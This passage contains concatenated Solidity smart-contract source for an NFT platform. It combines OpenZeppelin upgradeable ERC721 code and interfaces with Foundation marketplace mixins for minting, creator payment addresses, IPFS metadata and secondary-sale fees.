refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721ReceiverUpgradeable(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[41] private __gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; /** * @notice A mixin that stores a reference to the Foundation treasury contract. */ abstract contract FoundationTreasuryNode is Initializable { using AddressUpgradeable for address payable; address payable private treasury; /** * @dev Called once after the initial deployment to set the Foundation treasury address. */ function _initializeFoundationTreasuryNode(address payable _treasury) internal initializer { require(_treasury.isContract(), "FoundationTreasuryNode: Address is not a contract"); treasury = _treasury; } /** * @notice Returns the address of the Foundation treasury. */ function getFoundationTreasury() public view returns (address payable) { return treasury; } // `______gap` is added to each mixin to allow adding new data slots or additional mixins in an upgrade-safe way. uint256[2000] private __gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "../../interfaces/IAdminRole.sol"; import "../FoundationTreasuryNode.sol"; /** * @notice Allows a contract to leverage an admin role defined by the Foundation contract. */ abstract contract FoundationAdminRole is FoundationTreasuryNode { // This file uses 0 data slots (other than what's included via FoundationTreasuryNode) modifier onlyFoundationAdmin() { require( IAdminRole(getFoundationTreasury()).isAdmin(msg.sender), "FoundationAdminRole: caller does not have the Admin role" ); _; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @notice An interface for communicating fees to 3rd party marketplaces. * @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3 */ abstract contract HasSecondarySaleFees is Initializable, ERC165Upgradeable { /* * bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f * bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb * * => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584 */ bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584; /** * @dev Called once after the initial deployment to register the interface with ERC165. */ function _initializeHasSecondarySaleFees() internal initializer { _registerInterface(_INTERFACE_ID_FEES); } function getFeeRecipients(uint256 id) public view virtual returns (address payable[] memory); function getFeeBps(uint256 id) public view virtual returns (uint256[] memory); } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; /** * @notice A place for common modifiers and functions used by various NFT721 mixins, if any. * @dev This also leaves a gap which can be used to add a new mixin to the top of the inheritance tree. */ abstract contract NFT721Core { uint256[1000] private ______gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../interfaces/IFNDNFTMarket.sol"; import "./FoundationTreasuryNode.sol"; import "./HasSecondarySaleFees.sol"; import "./NFT721Creator.sol"; /** * @notice Holds a reference to the Foundation Market and communicates fees to 3rd party marketplaces. */ abstract contract NFT721Market is FoundationTreasuryNode, HasSecondarySaleFees, NFT721Creator { using AddressUpgradeable for address; event NFTMarketUpdated(address indexed nftMarket); IFNDNFTMarket private nftMarket; /** * @notice Returns the address of the Foundation NFTMarket contract. */ function getNFTMarket() public view returns (address) { return address(nftMarket); } function _updateNFTMarket(address _nftMarket) internal { require(_nftMarket.isContract(), "NFT721Market: Market address is not a contract"); nftMarket = IFNDNFTMarket(_nftMarket); emit NFTMarketUpdated(_nftMarket); } /** * @notice Returns an array of recipient addresses to which fees should be sent. * The expected fee amount is communicated with `getFeeBps`. */ function getFeeRecipients(uint256 id) public view override returns (address payable[] memory) { require(_exists(id), "ERC721Metadata: Query for nonexistent token"); address payable[] memory result = new address payable[](2); result[0] = getFoundationTreasury(); result[1] = getTokenCreatorPaymentAddress(id); return result; } /** * @notice Returns an array of fees in basis points. * The expected recipients is communicated with `getFeeRecipients`. */ function getFeeBps( uint256 /* id */ ) public view override returns (uint256[] memory) { (, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig(); uint256[] memory result = new uint256[](2); result[0] = secondaryF8nFeeBasisPoints; result[1] = secondaryCreatorFeeBasisPoints; return result; } /** * @notice Get fee recipients and fees in a single call. * The data is the same as when calling getFeeRecipients and getFeeBps separately. */ function getFees(uint256 tokenId) public view returns (address payable[2] memory recipients, uint256[2] memory feesInBasisPoints) { require(_exists(tokenId), "ERC721Metadata: Query for nonexistent token"); recipients[0] = getFoundationTreasury(); recipients[1] = getTokenCreatorPaymentAddress(tokenId); (, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig(); feesInBasisPoints[0] = secondaryF8nFeeBasisPoints; feesInBasisPoints[1] = secondaryCreatorFeeBasisPoints; } uint256[1000] private ______gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "./OZ/ERC721Upgradeable.sol"; /** * @notice Allows each token to be associated with a creator. */ abstract contract NFT721Creator is Initializable, ERC721Upgradeable { mapping(uint256 => address payable) private tokenIdToCreator; /** * @dev Stores an optional alternate address to receive creator revenue and royalty payments. */ mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress; event TokenCreatorUpdated(address indexed fromCreator, address indexed toCreator, uint256 indexed tokenId); event TokenCreatorPaymentAddressSet( address indexed fromPaymentAddress, address indexed toPaymentAddress, uint256 indexed tokenId ); /* * bytes4(keccak256('tokenCreator(uint256)')) == 0x40c1a064 */ bytes4 private constant _INTERFACE_TOKEN_CREATOR = 0x40c1a064; /* * bytes4(keccak256('getTokenCreatorPaymentAddress(uint256)')) == 0xec5f752e; */ bytes4 private constant _INTERFACE_TOKEN_CREATOR_PAYMENT_ADDRESS = 0xec5f752e; modifier onlyCreatorAndOwner(uint256 tokenId) { require(tokenIdToCreator[tokenId] == msg.sender, "NFT721Creator: Caller is not creator"); require(ownerOf(tokenId) == msg.sender, "NFT721Creator: Caller does not own the NFT"); _; } /** * @dev Called once after the initial deployment to register the interface with ERC165. */ function _initializeNFT721Creator() internal initializer { _registerInterface(_INTERFACE_TOKEN_CREATOR); } /** * @notice Allows ERC165 interfaces which were not included originally to be registered. * @dev Currently this is the only new interface, but later other mixins can overload this function to do the same. */ function registerInterfaces() public { _registerInterface(_INTERFACE_TOKEN_CREATOR_PAYMENT_ADDRESS); } /** * @notice Returns the creator's address for a given tokenId. */ function tokenCreator(uint256 tokenId) public view returns (address payable) { return tokenIdToCreator[tokenId]; } /** * @notice Returns the payment address for a given tokenId. * @dev If an alternate address was not defined, the creator is returned instead. */ function getTokenCreatorPaymentAddress(uint256 tokenId) public view returns (address payable tokenCreatorPaymentAddress) { tokenCreatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId]; if (tokenCreatorPaymentAddress == address(0)) { tokenCreatorPaymentAddress = tokenIdToCreator[tokenId]; } } function _updateTokenCreator(uint256 tokenId, address payable creator) internal { emit TokenCreatorUpdated(tokenIdToCreator[tokenId], creator, tokenId); tokenIdToCreator[tokenId] = creator; } /** * @dev Allow setting a different address to send payments to for both primary sale revenue * and secondary sales royalties. * This is immutable since it's only exposed publicly when minting a new NFT. */ function _setTokenCreatorPaymentAddress(uint256 tokenId, address payable tokenCreatorPaymentAddress) internal { if (tokenCreatorPaymentAddress != address(0)) { tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress; emit TokenCreatorPaymentAddressSet(address(0), tokenCreatorPaymentAddress, tokenId); } } /** * @notice Allows the creator to burn if they currently own the NFT. */ function burn(uint256 tokenId) public onlyCreatorAndOwner(tokenId) { _burn(tokenId); } /** * @dev Remove the creator record when burned. */ function _burn(uint256 tokenId) internal virtual override { delete tokenIdToCreator[tokenId]; super._burn(tokenId); } uint256[999] private ______gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "./NFT721Core.sol"; import "./NFT721Creator.sol"; /** * @notice A mixin to extend the OpenZeppelin metadata implementation. */ abstract contract NFT721Metadata is NFT721Creator { using StringsUpgradeable for uint256; /** * @dev Stores hashes minted by a creator to prevent duplicates. */ mapping(address => mapping(string => bool)) private creatorToIPFSHashToMinted; event BaseURIUpdated(string baseURI); event TokenIPFSPathUpdated(uint256 indexed tokenId, string indexed indexedTokenIPFSPath, string tokenIPFSPath); // This event was used in an order version of the contract event NFTMetadataUpdated(string name, string symbol, string baseURI); /** * @notice Returns the IPFSPath to the metadata JSON file for a given NFT. */ function getTokenIPFSPath(uint256 tokenId) public view returns (string memory) { return _tokenURIs[tokenId]; } /** * @notice Checks if the creator has already minted a given NFT. */ function getHasCreatorMintedIPFSHash(address creator, string memory tokenIPFSPath) public view returns (bool) { return creatorToIPFSHashToMinted[creator][tokenIPFSPath]; } function _updateBaseURI(string memory _baseURI) internal { _setBaseURI(_baseURI); emit BaseURIUpdated(_baseURI); } /** * @dev The IPFS path should be the CID + file.extension, e.g. * `QmfPsfGwLhiJrU8t9HpG4wuyjgPo9bk8go4aQqSu9Qg4h7/metadata.json` */ function _setTokenIPFSPath(uint256 tokenId, string memory _tokenIPFSPath) internal { // 46 is the minimum length for an IPFS content hash, it may be longer if paths are used require(bytes(_tokenIPFSPath).length >= 46, "NFT721Metadata: Invalid IPFS path"); require(!creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath], "NFT721Metadata: NFT was already minted"); creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath] = true; _setTokenURI(tokenId, _tokenIPFSPath); } /** * @dev When a token is burned, remove record of it allowing that creator to re-mint the same NFT again in the future. */ function _burn(uint256 tokenId) internal virtual override { delete creatorToIPFSHashToMinted[msg.sender][_tokenURIs[tokenId]]; super._burn(tokenId); } uint256[999] private ______gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.7.0; import "./OZ/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "./NFT721Creator.sol"; import "./NFT721Market.sol"; import "./NFT721Metadata.sol"; /** * @notice Allows creators to mint NFTs. */ abstract contract NFT721Mint is Initializable, ERC721Upgradeable, NFT721Creator, NFT721Market, NFT721Metadata { using AddressUpgradeable for address; uint256 private nextTokenId; event Minted( address indexed creator, uint256 indexed tokenId, string indexed indexedTokenIPFSPath, string tokenIPFSPath ); /** * @notice Gets the tokenId of the next NFT minted. */ function getNextTokenId() public view returns (uint256) { return nextTokenId; } /** * @dev Called once after the initial deployment to set the initial tokenId. */ function _initializeNFT721Mint() internal initializer { // Use ID 1 for the first NFT tokenId nextTokenId = 1; } /** * @notice Allows a creator to mint an NFT. */ function mint(string memory tokenIPFSPath) public returns (uint256 tokenId) { tokenId = nextTokenId++; _mint(msg.sender, tokenId); _updateTokenCreator(tokenId, msg.sender); _setTokenIPFSPath(tokenId, tokenIPFSPath); emit Minted(msg.sender, tokenId, tokenIPFSPath, tokenIPFSPath); } /** * @notice Allows a creator to mint an NFT and set approval for the Foundation marketplace. * This can be used by creators the first time they mint an NFT to save having to issue a separate * approval transaction before starting an auction. */ function mintAndApproveMarket(string memory tokenIPFSPath) public returns (uint256 tokenId) { tokenId = mint(tokenIPFSPath); setApprovalForAll(getNFTMarket(), true); } /** * @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address. */ function mintWithCreatorPaymentAddress(string memory tokenIPFSPath, address payable tokenCreatorPaymentAddress) public returns (uint256 tokenId) { require(tokenCreatorPaymentAddress != address(0), "NFT721Mint: tokenCreatorPaymentAddress is required"); tokenId = mint(tokenIPFSPath); _setTokenCreatorPaymentAddress(tokenId, tokenCreatorPaymentAddress); } /** * @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address. * Also sets approval for the Foundation marketplace. This can be used by creators the first time they mint an NFT to * save having to issue a separate approval transaction before starting an auction. */ function mintWithCreatorPaymentAddressAndApproveMarket( string memory tokenIPFSPath, address payable tokenCreatorPaymentAddress ) public returns (uint256 tokenId) { tokenId = mintWithCreatorPaymentAddress(tokenIPFSPath, tokenCreatorPaymentAddress); setApprovalForAll(getNFTMarket(), true); } /** * @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address * which is defined by a contract call, typically a proxy contract address representing the payment terms. */ function mintWithCreatorPaymentFactory( string memory tokenIPFSPath, address paymentAddressFactory, bytes memory paymentAddressCallData ) public returns (uint256 tokenId) { bytes memory returnData = paymentAddressFactory.functionCall(paymentAddressCallData); address payable tokenCreatorPaymentAddress; // solhint-disable-next-line no-inline-assembly assembly { tokenCreatorPaymentAddress := mload(add(returnData, 32)) } tokenId = mintWithCreatorPaymentAddress(tokenIPFSPath, tokenCreatorPaymentAddress); } /** * @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address * which is defined by a contract call, typically a proxy contract address representing the payment terms. * Also sets approval for the Foundation marketplace. This can be used by creators the first time they mint an NFT to * save having to issue a separate approval transaction before starting an auction. */ function mintWithCreatorPaymentFactoryAndApproveMarket( string memory tokenIPFSPath, address paymentAddressFactory, bytes memory paymentAddressCallData ) public returns (uint256 tokenId) { tokenId = mintWithCreatorPaymentFactory(tokenIPFSPath, paymentAddressFactory, paymentAddressCallData); setApprovalForAll(getNFTMarket(), true); } /** * @dev Explicit override to address compile errors. */ function _burn(uint256 tokenId) internal virtual override(ERC721Upgradeable, NFT721Creator, NFT721Metadata) { super._burn(tokenId); } uint256[1000] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * 